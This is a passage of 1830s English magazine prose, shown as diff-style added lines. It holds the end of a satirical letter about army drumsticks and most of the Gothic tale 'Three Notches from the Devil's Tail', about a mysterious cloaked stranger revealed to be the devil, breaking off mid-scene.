+twelve drums to each regiment,--a shameful waste of public money,
+by-the-bye, one drum and fife being quite sufficient for each corps,
+as they only alarm an enemy in war-time, and, in peace, destroy the
+utility of servant-maids by seducing them eternally to the windows.
+Well, even permitting this extravagant number to remain; by adopting
+Mr. Tambourette's system of performance, one thousand two hundred and
+thirty-six drumsticks would be saved to the country. Now, averaging the
+cost of the smaller-sized drumstick at sixpence, and the larger at one
+shilling, a reduction in the army estimates might be effected of _one
+thousand one hundred and thirty-three small_ and _one hundred and three
+large ones_; making a _tottle_ to the credit of the nation of 33_l._
+9_s._ 6_d._!!!
+
+"If the author will furnish me with the necessary information to enable
+me to frame a bill, I will move for a return of the drummers attached
+at present to the army: specifying their respective names, weights,
+heights, and ages, and take the earliest opportunity of bringing the
+matter before parliament.
+
+        "J.H.
+
+"July 1, 1837.
+
+"P.S. If one thousand two hundred and thirty-six drumsticks be
+dispensed with, it follows that a similar number of drummers'
+hands will then remain unoccupied. Might not a _one-handed fife_
+be introduced, or a pandean pipe substituted, and fifers totally
+abolished? I see no reason why the same man should not play the drum
+and fife together. This, indeed, would be a reduction worthy a reformed
+parliament, and a tremendous saving to the public purse.
+
+"J.H."
+
+
+
+
+THREE NOTCHES FROM THE DEVIL'S TAIL; OR, THE MAN IN THE SPANISH CLOAK.
+
+A TALE OF "ST. LUKE'S."
+
+
+I had often met with him before in my travels, and had been much struck
+with the peculiar acumen of his remarks whenever we entered into
+conversation. His observations were witty, pungent, and sarcastic;
+but replete with knowledge of men and things. He seemed to despise
+book-knowledge of every kind, and argued that it only tended to
+mislead. "I have good reason to be satisfied on this point," he said to
+me one day at Vienna. "History is not to be relied on; a fact is told
+a hundred different ways; the actions of men are misrepresented, their
+motives more so; and as for travels, and descriptions of countries,
+manners, customs, &c. I have found out that they are the most absurd
+things in the world,--mere fables and fairy tales. Never waste your
+time on such trash!"
+
+I again met this gentleman in Paris; it was at a _salon d'écarté_;
+and he amused me much by informing me of the names and circumstances
+of the most distinguished persons present. Whether English, French,
+or Germans, he knew something of the private history of each, some
+ridiculous adventure or silly _contre-tems_. I marvelled how he could
+have collected so great a store, such as it was, of anecdote and
+information; how he carried it all in remembrance; and, still more, at
+the perfect _sang-froid_ with which he detailed these things under the
+very noses of the persons concerned, who would, had they heard them, no
+doubt have made as many holes in his body with "penetrating lead" as
+there are in a cullender.
+
+To avoid getting into any scrape myself, I invited this _well-informed_
+gentleman to spend an evening with me at my hotel, where, over a bottle
+of claret, we might discuss some of those amusing matters, more, at
+least, to my own ease. Before we separated, I pointed out a certain
+Englishman to him, who was playing high, and did not notice us: I asked
+him "If he knew anything respecting that gentleman?" I had my private
+reasons for asking this question, unnecessary now to mention, and was
+pleased to find my colloquial friend knew, as they say, "all about
+him;" so we parted, with a promise on his side that on the following
+evening he would visit me, and give me every particular.
+
+He came punctually to appointment, but I could not prevail on him
+to put off his large Spanish cloak, what they call technically "_an
+all-rounder_;" he complained of cold, said he had been accustomed to
+a _warm climate_, and sat down just opposite to me, when, without
+hesitation, in a sort of business-like way, he entered at once into the
+details I most wished to know respecting the young Englishman we had
+left at the _salon d'écarté_; and left no doubt on my mind, from some
+circumstances I already knew respecting him, that the account was most
+veracious. I fell into a fit of musing in consequence of his narration,
+which he did not interrupt by a single remark; but, fixing his eyes
+upon me, seemed to be amusing himself with watching the progress of my
+thoughts.
+
+"It will never do!" said I, forgetting I was not alone; "he is not
+worthy of her."
+
+I stopped, and the stranger rose, gave me a peculiar significant look,
+and was retiring, but I would not permit it; and, apologising for my
+abstraction, insisted that he should finish the bottle with me: so he
+sat down again, and we tried to converse as before, but it would not do.
+
+There we sat, facing each other, and both nearly silent; and now it was
+that I remembered I had never once seen this stranger without this same
+Spanish cloak,--a very handsome one it is true, richly embroidered,
+and decorated with Genoese velvet, and a superb clasp and chain of the
+purest gold and finest workmanship. I pondered on this circumstance,
+as I recollected that even in Italy and the Ionian islands, where
+I had before met him by some extraordinary chance, as well as at
+Constantinople and at Athens, he had always been enveloped in this same
+most magnificent mantle. At last I thought of the fable of the man,
+the sun, and the wind; so concluded that he wore this Spanish cloak to
+guard him equally from heat and cold, to exclude the sun's rays and the
+winter's winds; or, perhaps, I argued, he wears it to conceal the seedy
+appearance of his inner garments, or sundry deficiencies of linen, &c.
+"Things will wear out, and linen will lose its snowy whiteness, but
+what the devil have I to do with the matter? Let him wear his cloak,
+and sleep in it too, if it please him; why should I trouble my head
+about it?"
+
+"You are returning to England soon, sir," said, at length, the cloaked
+stranger (but I am certain that I had not intimated such intention to
+him); "I am proceeding there myself on some pressing business, and will
+do myself the honour of there renewing our acquaintance."
+
+I paused and hesitated ere I replied to this proposition. It is one
+thing to invite an agreeable stranger to drink a bottle of claret with
+you at an hotel in Paris, and another to bring him to the sanctuary
+of your home, to the fireside of an Englishman, to the board of your
+ancestors, to suffer him to gaze freely on the faces of your sisters,
+and to pay his court at his ease to every other female relative beneath
+the paternal roof!
+
+The stranger saw my embarrassment, and seemed to penetrate the cause.
+He gave me a smile of most inexplicable expression as he said,
+
+"Your late father, Sir George F----, and myself, were old
+acquaintances. We spent some months together at Rome, and met with a
+few adventures there, which I dare say have never reached the ears of
+his son."
+
+This was said in his usual sarcastic way; but I could not endure that
+he should allude in the slightest manner of disrespect to my deceased
+father; so I answered, with much reserve, and some sign of displeasure,
+"That I did not wish to pry into the youthful follies of so near a
+relative; at the same time I thought it odd I never should have heard
+my father mention that he had formed any particular intimacy with any
+one at Rome, but, on the contrary, had even been given to understand
+that all his recollections of the Eternal City were rather of an
+_unpleasing_ nature."
+
+"Did he never mention to you the baths of Caracalla?" demanded my
+strange guest; "but it matters little, for the son of Sir George F----
+merits every attention from me _on his own account_, as well as for the
+sake of _another_----" He did not finish the sentence; but, folding
+his cloak more closely round him, he made me a profound bow, something
+between an Eastern salaam and the bow of a dancing-master, and politely
+took his leave.
+
+For two or three days I thought much of this extraordinary man; but
+after that time I became so deeply interested in a Platonic _liaison_
+with Madame de R----, the beautiful wife of a Parisian banker, that I
+forgot him altogether. I had to read, as well as to write, sentimental
+_billets-doux_ sometimes twice a day, for so often they passed between
+my fair Platonist and myself. I had to select all her books, her
+flowers, and to choose her ribbons. I know not how it might have ended,
+for affairs began to wear a very critical aspect; but I was summoned to
+England by an express. My beloved mother was dangerously ill. I tore
+myself away, disregardful of the tears that gathered in the brightest
+pair of eyes in the world, and travelled post-haste to Calais.
+
+Scarcely had I put my foot on the deck of the vessel ere I perceived my
+acquaintance of the Spanish cloak. There he was, walking up and down
+the deck,--tall, erect, gentlemanly; there was his magnificent cloak,
+without a wrinkle or a spot, the gloss still on it. I sat still, and
+watched him, not without a sensation of annoyance, as I was not at
+all in the humour just then to enter into conversation. I was uneasy
+respecting the life of an only parent, and I had just parted with one
+of the prettiest women in France, at the moment, too, when we both
+wished Platonism in the same place its founder was, dead and buried;
+but I might have saved myself the trouble of being annoyed, for the
+stranger did not seem to recognise me, nor wish to speak to any one.
+His carriage was lofty and reserved; his eye was proud, and sought to
+_overlook_ the rest of the passengers as unworthy of its notice; and so
+marked was his avoidance of myself, that I began to feel piqued, and to
+imagine that my own personal appearance, if not our former knowledge of
+each other, might have gained for me the honour of his notice. Never
+before did I see so imperious an eye, or so magnificent a cloak!
+
+The passage was a very boisterous one; and all the passengers, both
+male and female, began to show evident signs enough that the human
+animal was never intended by Nature to ride upon the ocean's billows.
+Strange sounds were heard from the very depths of human stomachs, as if
+in response to the roaring of the winds and the dashing of the waves! I
+began to sympathise most sincerely with the unhappy sufferers; for such
+sights and sounds are sure to affect the feelings of those who both
+see and hear. In short, I began to look grave, and become squeamish.
+I saw nothing but livid lips and blue cheeks around me,--a perfect
+pandæmonium of wretchedness; yet there walked the stately man in the
+cloak, perfectly unmoved in countenance and stomach. I perceived he had
+lighted a cigar, which glowed of a bright red colour, and threw a glow
+over his handsome features.
+
+I grew still worse, and my disorder was coming to its climax, when the
+eye of the stranger for the first time condescended to notice me, and
+he bowed ceremoniously, with a smile which seemed to say, "I wish you
+joy, young man, of your sea-sickness!" I turned from him, and sincerely
+wished him in the same condition as myself and the other victims of the
+wrath of Neptune. He advanced towards me.
+
+"You look ill, sir!" he exclaimed. "Take the advice of an old sailor;
+only try one of my cigars; _they are not of common use_; one or two
+whiffs will drive away your nausea. I never knew them fail."
+
+Now I loathe smoking at all times; it is a vulgar and idle amusement,
+fit only, as a modern writer says, for "the swell-mob;" but at this
+moment the thought of it was execrable. I could have hurled the
+stranger, when he offered me one of his cigars already ignited, into
+the sea.
+
+"I never smoke, sir," said I, pettishly, "and I always get as far away
+as I can from those who do. May I thank you to go a little to the
+windward?"
+
+"My dear sir, do not be obstinate," said the pertinacious stranger;
+"we have many hours before we shall touch the shore, for you see
+both wind and tide are against us. I assure you the remedy is always
+efficacious;" and he handed me a lighted cigar, immediately under my
+nose.
+
+I snatched at the burning preparation, and flung it overboard, with
+an exclamation of no gentle kind; it dropped into the boiling waves,
+making a noise like a hissing red-hot iron, as it is put by the smith
+into the water of the stone cistern.
+
+"It is not of the slightest consequence," said my tormentor, affecting
+to believe I had dropped the cigar by accident, "I have plenty more
+in my case;" and with the most provoking coolness he lighted another
+from his own, and presented it to me. I was puzzled what to do, for the
+courtesy of this man was extreme. I was exceedingly sick, and wished
+to get rid of him; for who likes to have a witness during the time of
+Nature's distress? I therefore accepted his cigar, and turned from him,
+with a very equivocal bow of acknowledgement.
+
+There was something of a very refreshing nature in the smell of this
+extraordinary-looking cigar, which was burning steadily in my hand.
+I resolved to try its boasted efficacy; and accordingly put it to my
+lips, and inhaled its fragrance. In a moment I was well, more than
+well; for a delicious languor seized me. After that, my nerves were
+braced, invigorated; I felt as a hunter does after a long day's sport,
+hungry almost to famine, and I descended to the saloon, and called
+lustily to the steward to bring me a cold fowl, a plate of ham, and a
+bottle of porter. No more nausea, no more livid lips and blue cheeks.
+All of a sudden I became eloquent, poetical, and brimful of the tender
+passion. I wished to console some of my fair companions who were
+languishing around me, and offered my cigar to all who would accept
+it. Had it not been for an occasional thought of my mother's illness,
+which would intrude upon me whether I wished it or not, what folly and
+entanglement might I have got into with a pretty milliner on board,
+just returned from Paris, with fashions in her head, and French levity
+in her heart!
+
+I ought to have acknowledged my obligation to the stranger for his
+remedy; but I had conceived so insuperable a dislike to him, that I
+could not account for it, and my only wish was to escape from his
+society at Dover, as I feared he would offer to accompany me to London,
+and I could hardly refuse him after the service he had rendered me. I
+therefore lingered below some few minutes when we arrived, and looked
+cautiously around me when I ascended the companion-ladder; but the
+stranger was gone. I saw no trace of his august person then, or his
+superb Spanish cloak.
+
+I hastened on with four horses to ---- Square, and met my weeping
+sisters. My mother still breathed; but that was all. The physicians
+could not comprehend her malady, but agreed to call it a general
+debility, an exhaustion of the vital energies, without any particular
+complaint. She was extremely weak, but knew me instantly, and smiled
+her welcome as I knelt and kissed her hand.
+
+My mother was only of the middle age, which made it more strange that
+physical weakness should thus overpower her. I inquired at what time
+she was first seized; and on reference to my note-book, found out that
+her first appearance of illness was at the _precise hour_ when the
+stranger in the Spanish cloak was sitting with me at my hotel, and
+talking to me of my father. Well! what of that? it was a mere chance!
+
+It is no use disguising it. I am naturally superstitious. We can
+no more help the frailties of our minds than the blemishes of our
+features. As I sat by my declining mother's side, I pondered again and
+again on this mysterious stranger. I recollected how he had cured me of
+my sickness in a moment; how wonderfully he knew the private history
+of every individual; and I ended by believing that there was something
+of a supernatural agency about him. "Perhaps," thought I, starting up
+suddenly, and speaking aloud, "perhaps this wonderful cigar of his
+might recover my beloved mother." I searched every pocket, hoping that
+a remnant of it might have remained: but, no; it had been whiffed away
+by the ladies in the cabin, and I had not a vestige left.
+
+When once an idea seizes hold on the mind, it scarcely ever lets go
+its hold. I began to consider myself mad, yet could not prevent myself
+from going out I knew not whither, to make inquiries for the cloaked
+stranger, and request him to give me another of his marvellous cigars.
+As I passed Louisa and Emily, my sisters, and----, now no more, they
+were alarmed by the wildness of my looks, and endeavoured to arrest my
+progress.
+
+"I go to seek a remedy for my mother," exclaimed I, breaking from them,
+and I darted from the house.
+
+I made inquiries at all the principal hotels and club-houses for the
+stranger in the magnificent cloak. The waiters at the Oriental, the
+Travellers, and the Albion, had all seen him, but knew not his address
+or name. I sought him in the parks, at the exhibitions; but could
+not find him. At length I thought of the British Museum, but _why_ I
+did so appears to me most mysterious; I drove instantly thither, and
+ran through all the rooms with the most searching gaze. In George
+the Fourth's splendid library there, seated at his ease by special
+permission from Sir Henry Ellis, I beheld the man I sought, with a
+large folio volume of Eastern learning spread open before him.
+
+I felt ashamed to address him; for, had I not been most uncourteous,
+most repulsive to him? and now I wanted another favour. I stood before
+the table at which he sat, and watched his countenance as he seemed
+engrossed with his Oriental literature; but it was only for a moment,
+for he raised his eyes by some sudden impulse, and fixed them straight
+upon me.
+
+The stranger acknowledged me not even by a bow or a look of
+recognition. I knew not what to say to him, yet the case was urgent.
+
+"Pardon me, sir," I stammered out, "I fear I interrupt you; but----"
+
+"Proceed, sir," said the stranger, coldly. "I am always ready to
+listen to the son of Sir George F----, for I owe to the father some
+obligation."
+
+"You possess the power of allaying the most tormenting sickness by some
+mysterious drug or preparation," I said, hesitating as I spoke: "that
+was no common cigar. Have you other remedies?"
+
+"A thousand," replied the stranger. "Pray go on."
+
+"My mother lies dangerously ill; can you restore her?"
+
+"May I behold the patient?" demanded the stranger, and an inexpressible
+glance flashed from his brilliant eyes.
+
+What made me tremble at this natural request? for such it might have
+been deemed, since every medical man has free liberty to inquire into
+the symptoms of the case before he prescribes.
+
+Fixedly did his eyes rest on mine; they seemed as if turned to stone,
+for they moved not in the slightest degree.
+
+"I will _describe_ my mother's case to you, sir," I said, evasively.
+
+He made me no answer; but, casting down his eyes, he calmly resumed
+his reading, and I walked up and down the spacious apartment, in
+which there were not above a dozen other persons, in a state of mind
+resembling a chaos, occasionally glancing with angry eyes at the
+reading stranger, who seemed perfectly composed, and unconscious of my
+presence.
+
+"What a fool am I!" said I, mentally; "what _harm_ can this man do my
+dying mother? but, then, _she_ may see him--this being that resembles
+a demi-god--and _she_ too of so peculiar a mind, so enamoured of all
+that is great and wonderful; so romantic, too! Wretch that I am! is my
+beloved mother's life to be sacrificed--at least the chance of saving
+her--to a wild and jealous fantasy? No!" and I walked up again to the
+table.
+
+The stranger was rising as I approached him, had closed his book, and
+returned it to the librarian. He would have passed me, but I laid my
+hand upon his arm.
+
+"Most extraordinary being!" said I, "_come_, I conjure you, and save my
+mother!"
+
+He entered my carriage without saying a word, and silently followed me
+to the apartment of my languishing parent, who was dozing in a sort of
+lethargic stupor, that appeared to be the precursor of death. My two
+sisters stood gazing on her pale features, and---- was holding her thin
+white hand in one of hers, and bathing it with her tears.
+
+The stranger took my mother's hand from hers, and--I cannot be
+mistaken, for I watched every movement--some strong agitation, some
+convulsive spasm, passed over his countenance as he looked upon that
+face which never had its equal yet on earth; but, whatever was his
+emotion, he soon mastered it, and desired that a silver plate and lamp
+might be brought to him.
+
+From a small crystal box the stranger took out a brown preparation,
+and, breaking it in two, placed them on the silver plate; then with
+a slip of paper lighted from the lamp he ignited the substance so
+placed, which sent up a pale blue flame, and a most intoxicating odour.
+He desired that my mother should be raised in bed, even to a sitting
+posture, when he placed the blazing plate immediately beneath her
+nostrils, and some portion of the actual flame entered and curled about
+her face. My sisters shrieked, but ---- spake not a word, and I waited
+the result with agonised impatience.
+
+"She revives! she revives!" exclaimed the latter, "and my blessed aunt
+will live!"
+
+It was true. Years have gone by, and _my mother is still alive_. Never
+has she had an hour's illness from that hour. Was I grateful to the
+stranger for saving a life so prized? No. In my heart I loathed him at
+the very time he was heaping benefits upon me. And why? I detected a
+look of wonder, and admiration, and gratitude, and a smile of ineffable
+beauty directed towards him by one who----
+
+Disguising as well as I was able the hatred that swelled within my
+heart, I offered to place on the finger of this mysterious visitant a
+ring of great value, that belonged once to my father. He started as
+he saw it, and, pressing a secret spring in it that I knew not of,
+restored it to me.
+
+"It was a present from myself to him at Rome," he said, and his voice
+faltered, "for a signal benefit conferred. Behold! there is my own
+miniature!"
+
+And it was so. Most exquisitely painted was there concealed, a minute
+resemblance of himself. I now perceived, and I cursed him in my heart
+for it, that ---- retained the ring, after having expressed her
+astonishment at the fidelity of the likeness. I rudely snatched it from
+her hand, and threw the ring from me.
+
+"Theodore," said my mother, "give me that ring. I know full well who
+it was presented that ring to him who is now no more. Marquis! I must
+speak to you alone, but not now. Come hither to-morrow. Now, I beseech
+you, retire!"
+
+How dreadful is it to bear about with us the seeds of insanity. I have
+felt them shoot and grow within me from my childhood. The fibres had
+twined about my very being. _I knew_ that madness must some time or
+other scorch my brain; I was full of delusions; I could behold nothing
+clear with my mental vision. I once heard a learned physician say to my
+father, "Take care of him, sir. Excitement may drive that boy mad. Do
+not let him study too much; and, above all, I trust he will never meet
+with disappointment in any affair of the heart."
+
+Have I met with such? Let me not think about it, or----_And yet I am
+not mad now._
+
+From this time I became gloomy and morose, and always worse whenever
+this accursed man in the Spanish cloak came to the house, which now
+was very often. He charmed all but myself. I hated the sound of his
+voice. My sisters would come and try to soothe me into sociability
+and calmness. I repelled them with harshness and severity; and even
+when my gentle cousin tried each soft persuasive art to lead me to his
+presence, I taunted her in the cruellest manner with her hypocrisy, as
+I chose to call her blandishments, and bade her "go to the fascinating
+marquis, and heap her witcheries on him." Nothing could exceed the
+patience of this devoted being, her sweetness of temper, her angelic
+forbearance, but my own ferocity and hellish brutality; yet how did I
+love her, even when I bitterly reviled her! Once, when I observed that
+ring upon her finger, which my mother had permitted her to wear,--that
+ring, bearing the portrait of _that man_,--I absolutely spurned her
+from my presence, and wonder now that I did not murder her.
+
+Cloud after cloud obscured the light of reason in my brain, and it
+was deemed advisable by those who loved me still, notwithstanding my
+growing malady, to have some one with me night and day, lest I should
+lay violent hands upon myself, as if a life like mine were worth the
+caring for.
+
+An intelligent young man, one of my tenants, accepted this painful
+task, and he performed it with gentleness and fidelity. He soon
+perceived that I grew more furious when the voice or the name of the
+Marquis ---- met my ears. He mentioned this circumstance to my mother,
+and from that time the marquis was not permitted to enter the house.
+I heard of this at first with incredulity, then with complacency.
+By degrees I grew calmer. I was afterwards shown a letter from the
+cloaked stranger, dated Rome; and it confirmed their assertions. I
+once more enjoyed the society of my family, and basked in the smiles
+of my beloved cousin. She was all kindness, all attention; and I began
+to flatter myself that the ardent love I had borne her from my very
+boyhood was returned. It was her reserve that before drove me from my
+country.
+
+To my great astonishment and delight, that young Englishman who had
+interested me so much in the _salon d'écarté_ at Paris, was formally
+refused by her who was dearer to me than life. He was of ancient
+family, and of great possessions; I knew he loved her, and feared he
+would gain her: but on my saying one day, as if by accident, in her
+presence, "that I feared S---- gamed high, and consequently was not
+worthy of the regard of any woman of discretion," she gave me a smile
+of ineffable sweetness, and told me, "It was of little consequence to
+her his frailties or his virtues; for she had long determined to give
+him a refusal, and, in fact, had done so before he went to Paris."
+
+I considered the _manner_ of my cousin, more than her mere words, as
+encouragement to myself, and with all the ardour of my nature declared
+to her my passion. These were her words in reply: "Theodore, I pretend
+not to misunderstand you; and, if it be any comfort to you, believe
+that I most tenderly return your affection. But, oh, my beloved cousin!
+think how you have been afflicted,--and then ask yourself whether
+I ought to listen to your proposals? whether you ought to marry?
+Theodore, I solemnly promise you that, for your sake, never will I wed
+another; but, oh! ask me not to become your wife whilst you are subject
+to such a fearful malady."
+
+In vain I represented to her that my late mental affliction had been
+caused wholly by my fear of losing her, as I believed that detested
+foreigner was exactly the man to charm her, and thus I considered her
+lost to me for ever.
+
+"This, dear Theodore," she answered, "is one of your delusions. You had
+no cause why you should form such a preposterous notion,--a man old
+enough to be my father, and----"
+
+"That is true," said I, "there is disparity of years; but, then, what a
+splendid being!"
+
+"Yes," she replied coldly, "he wears a most magnificent cloak."
+
+"Not always, sure?" I asked inquiringly, for I had never entered the
+room where he was, since he had cured my mother. "Did he not remove it
+when he dined and drank tea with you so often, and stayed so late, that
+I could have torn him to pieces for it?"
+
+"Softly, my beloved cousin," said the sweet girl, placing her soft
+hand before my lips; "why are you so excited now when talking of this
+stranger? _Your_ mother, Theodore, has been restored by him; and for
+that service what do we not all owe him?"
+
+"Was it for this," I said, "from gratitude alone, you wore that ring?"
+
+"Yes, from gratitude only. Are you now satisfied?"
+
+"Blessings on you, dearest, for your kindness!" I continued. "But say,
+did you ever see him without that cloak?"
+
+"Never, Theodore, never. It was always too hot or too cold; or he was
+poorly, or some excuse or other. We never could persuade him to take
+off that cloak."
+
+I fell into a long reverie after this; nor could I blame her for her
+decision. I knew myself that my brain was not steady, and consequently
+I had no right to marry, to entail on my innocent offspring such a
+calamity. But then this inexplicable stranger;--perhaps he had the
+power to cure me,--he had already performed almost a miracle; if he
+could but settle my head, my beloved cousin would become mine, and I
+should be free from those fears that were constantly besetting me of
+becoming incurably mad.
+
+Nothing would now do but my immediately setting out for Rome to seek
+the stranger with the large Spanish cloak. My mother did not think it
+advisable that I should go alone; so it was determined that she, with
+Louisa and Emily, accompanied by our sweet relative, should bear me
+company to Italy, and thither we accordingly went. We lingered not on
+our progress to look at curiosities, or paintings, or prospects. We
+journeyed as fast as four horses could carry us, and arrived quite safe
+at imperial Rome.
+
+I was sorry to learn that the Marquis ---- was now at Naples; and,
+after settling my family in an elegant villa a few miles from modern
+Rome, I set off in quest of the man for whom I had an antipathy,
+powerful, incurable; and for what purpose? To request his aid,
+mysterious, perhaps sinful, to cure me of a disorder, of which the
+consciousness was part of its calamity. The raving madman, at least, is
+saved from _knowing_ his own misery.
+
+I had not been an hour at Naples, attended by my favourite servant, the
+young man who once acted to me as my keeper, when I saw from the window
+of my hotel the cloaked stranger pass with a lady on his arm. But I
+hesitated not,--I might lose him for ever; so I ran into the street,
+and hastily accosted him.
+
+What I said to him I know not, for my words were wild and ambiguous;
+but he promised that he would dine with me the following day, although
+his manners were even more reserved than when I spoke to him at the
+Museum.
+
+Our instincts ought ever to be attended to; the brute creation follow
+nothing else, and _they_ commit no sin. The first time I saw this
+stranger, he was looking at an inscription at Athens, and I felt a
+secret desire to get from his presence; but he entangled me with
+his talk, his knowledge of everything around, his high bearing, his
+intelligent eyes, and his superb Spanish cloak.
+
+Again we were seated at the same table, and I again requested him to
+remove his mantle.
+
+"Not yet," he said significantly; "but after the cloth is removed I
+will, if you still wish it, take off this upper clothing."
+
+Oh how sarcastically were these words pronounced! My heart beat
+violently; I could not eat, and became abstracted and melancholy; not
+a word was said respecting my request to him, nor did he ask me why I
+sought him. He ate in silence, and seemed to have forgotten he was not
+alone.
+
+When the table was cleared, the stranger coolly took a book from under
+his cloak, and began to read; whilst I, pondering on all I had ever
+known of him, began to feel the most burning desire to see this man
+once _without_ his cloak, and was determined to do my utmost to effect
+it.
+
+"The cloth _is_ now removed, signor," said I, "and you promised _then_
+you would take off that everlasting garment."
+
+"It displeases you, then?" retorted my companion. "_Is it not unsafe to
+penetrate below the exterior of all things?_ Is not the surface ever
+the most safe? Is not the _outer_ clothing of nature ever the most
+beautiful to the eye? What deformity dwells in mines, in caverns, at
+the bottom of the ocean! Nature wears a cloak as beautiful as mine: do
+you wish also to strip off her covering as well as mine?"
+
+"At this moment, signor," said I gloomily, "I was not thinking of
+Nature at all, but of the strangeness of your ever wearing that cloak."
+
+"Was it for this you came from England, Sir Theodore?" inquired the
+marquis, "and sought me at Naples? The knowledge, I should deem, could
+never compensate you for the loss of your cousin's society so many
+days."
+
+"It was not for this I sought you, noble marquis," I replied, piqued
+at his irony; "but, when a man ever wears a cloak, it must be for some
+purpose."
+
+"Granted," slowly said my companion; "I have such purpose."
+
+"Which you promised to unfold!" I exclaimed, with pertinacity. "Is it
+still your pleasure so to do?"
+
+"_It is necessary first that we should have no intruders_," he
+answered, with a tone that froze me to the heart. Oh, how cutting, how
+sarcastic did it sound in my ears!
+
+"No person will enter this apartment save my faithful servant, Hubert;
+therefore----"
+
+"I promised to enlighten the master, and not the servant. If you insist
+on this strange request, the door must be securely locked; there must
+be no chance of interruption."
+
+"Oh, what a fuss," I thought, "about a mantle! Why, _he_ must be mad
+too! How can he cure me of an evil he has himself? Lock the door,
+forsooth, because he takes off his cloak! But I must humour him, I
+suppose, or he will find an excuse for breach of promise." As I thought
+this, I walked to the door, locked it, and, placing the key upon the
+table, merely said, "Now, signor, your promise?"
+
+"Would it not be prudent, young gentleman," he observed, laying his
+finger on my sleeve, "that you should speak of your request,--that one
+that brought you hither, and which I should conceive of more importance
+than the satisfying an idle curiosity,--would it not be wiser of you to
+mention this previously to my taking off my cloak."
+
+"Oh, what importance he attaches to so trifling a thing!" thought I;
+"but, after all, the man is right; I had better attend to the most
+essential, nor was I wise to couple two requests together."
+
+"Signor Marquis," said I, "have you any cure for insanity?"
+
+"_I cured your father_," was the answer, "and this your mother knows.
+He in return did _me_ a service; he presented me with--this excellent
+cloak."
+
+I was more puzzled than ever; I had never before _heard_ that my poor
+father had unsettled reason, but many circumstances made me now believe
+it. I fancied too that my youngest sister gave indications of the same
+disorder; she was growing melancholy and reserved. "Oh, heavens!"
+thought I, "there will be more work for this man to do; I had better
+invite him at once to England, and make him physician in ordinary to
+our family."
+
+"I have an engagement at nine," said the stranger; "have you any other
+inquiries to make?"
+
+"But, if you _cured_ my father, Signor Marquis," I observed, "how
+is it that I have inherited the disease? Should not the _cure_ have
+eradicated it for ever from him and his posterity?"
+
+"Is it not enough that I prevented the display of such a malady during
+his life? that I drove away the cloud that obscured his day, so that
+the sun of reason shone brightly on him until his death? What had I
+to do with future generations? with a race of men then unborn? _I
+performed my contract_, and he was satisfied. Shall the son be more
+difficult to please than the father?"
+
+I interrupted him, "Oh, mysterious man! canst thou not cure the _root_
+of this disease? stop its fatal progress? prevent the seed from
+partaking of the nature of the plant?"
+
+"Young man!" solemnly returned the marquis, "was not thy first
+progenitor, the man who resided in Paradise, _mad_--essentially mad?
+and has not his disease been carried on, in spite of all physicians,
+down, down to the present hour? It is woven into man's very nature;
+the warp and woof of which he is composed. I can check its open
+manifestation in a single individual; but the evil will only be dammed
+up during his time, to give it an increased impetus and power to those
+who follow him. Art thou not an instance of this fact? Hast thou not
+been madder than thy father?"
+
+I groaned aloud. I remembered my own wild delusions, my sudden bursts
+of passion. I even began to think that madness ruled me at that very
+hour; that all I saw and heard was the coinage of a distempered brain.
+
+At length I said, dejectedly, unknowing that I spoke aloud, "Then I
+must never marry; my children will become worse than myself. Farewell
+then----"
+
+"Or rather," interrupted the cloaked stranger, "farewell to human
+marriages altogether, if those who marry must be free from madness.
+Why, 'tis the very sign they are so, their wishing to rivet fetters on
+themselves; but, no matter. What have I to do with all the freaks and
+frenzied institutions of such a set of driveling idiots?"
+
+"Art thou not a man?"
+
+"Thou shalt judge for thyself, thou insect of an hour!" and he
+unclasped his cloak, and stood erect before me. Coiled around him like
+a large boa-constrictor, reaching to his very throat,----But I sicken
+as I write! The remembrance of that moment, how shall it be effaced?
+Time deadens thousands of recollections, but has never weakened the
+impression made upon me at that appalling moment!
+
+The immense mass that wound its lengthy fibres round him, like a cable
+of a ship, now became sensibly animated by life! I beheld it move, and
+writhe, and unfold itself! I heard its extremity drop upon the floor!
+I saw it extend itself, and creep along! More--more still descended;
+fewer coils were round him! He turned himself to facilitate its
+descent; and, when the enormous whole encircled him, still undulating
+on the ground, that being looked towards me with one of those smiles,
+that Satan might be supposed to use.
+
+"Behold!" said he, pointing to the dark undulation on the floor,
+"_behold the reason why I wear a cloak!_"
+
+Insensibility closed up my senses. I could behold no more. When I
+recovered, I was alone. The stranger had departed, leaving the door
+ajar; but he had written on a slip of paper, and placed it just before
+me, these words:
+
+"The remedy I bestowed upon the father, for _his_ sake I will give unto
+the son. _Three notches of the devil's tail_ will perfectly restore
+you; but it must be cut off by the hand of _the purest person that you
+know on earth_. _It will grow again!!_"
+
+       *       *       *       *       *
+
+I hastily caught up this paper on hearing the step of my attendant,
+and placed it in my bosom. I think he saw the action, for he looked
+mournfully on me, and shook his head. I told him I was ready to set off
+instantly for Rome: his simple answer was,
+
+"I wish we had remained there!"
+
+"And _why_, Hubert?"
+
+"You are pale as a sheeted corpse, and the boards of the floor are
+_singed_, yet there has been no fire in the room!"
+
+I looked where he pointed; and, in a serpentine form, I beheld the
+traces of that enormous tail I had seen fall from the body of the
+cloaked stranger, coiled round him as an immense serpent twines itself
+around a tree. I shuddered at the sight. I felt my brain working; yet I
+wrestled with the spirit of darkness within. I tried to persuade myself
+that I had been overtaken only by a dream; that my whole acquaintance
+with the pretended marquis was nothing but an illusion, a vision of the
+imagination, an optic delusion, an hallucination of an excited state
+of mind; but it would not do. There were the dark and calcined marks,
+which it was my duty to account for to my host, who cared very little
+how they were occasioned, so as he received an ample sum to have the
+boards removed, and others in their place.
+
+Our accounts were soon arranged, and I returned to my anxious family;
+but my disorder was increasing hourly. The wildest imaginations haunted
+and perplexed me. My beloved mother looked at me with tears swimming in
+her eyes. My eldest sister strove, by a hundred stratagems, to dispel
+the gloom that arose amongst us all. Emily sat, absorbed in her own
+melancholy thoughts, a fellow-sufferer, I fancied, with myself. My
+lovely, innocent, affectionate cousin held my fevered hand in one of
+hers, and imploringly asked me to be tranquil; said she would sing to
+me if I would try to sleep. I felt the gentle charm, and gave myself up
+to it. I laid myself upon the sofa; and she, whose name I cannot utter,
+sitting on a low stool by my side, sought to soothe me with her voice.
+
+
+           THE SONG OF ----.
+
+    "Come from Heaven, soft balmy Sleep,
+      Since thou art an angel there!
+    Come, and watch around him keep--
+      Watch that I with thee will share.
+
+    Strew thy poppies o'er his head,
+      Calm the fever of his mind;
+    All thy healing virtues shed,
+      That he may composure find!"
+
+"Oh, God!" I cried, jumping up; "and must I never call this angel mine?
+Better to die at once, or lose all consciousness of what a wretch I am!"
+
+"Hush, my dearest cousin! I have invoked an angel from the skies to
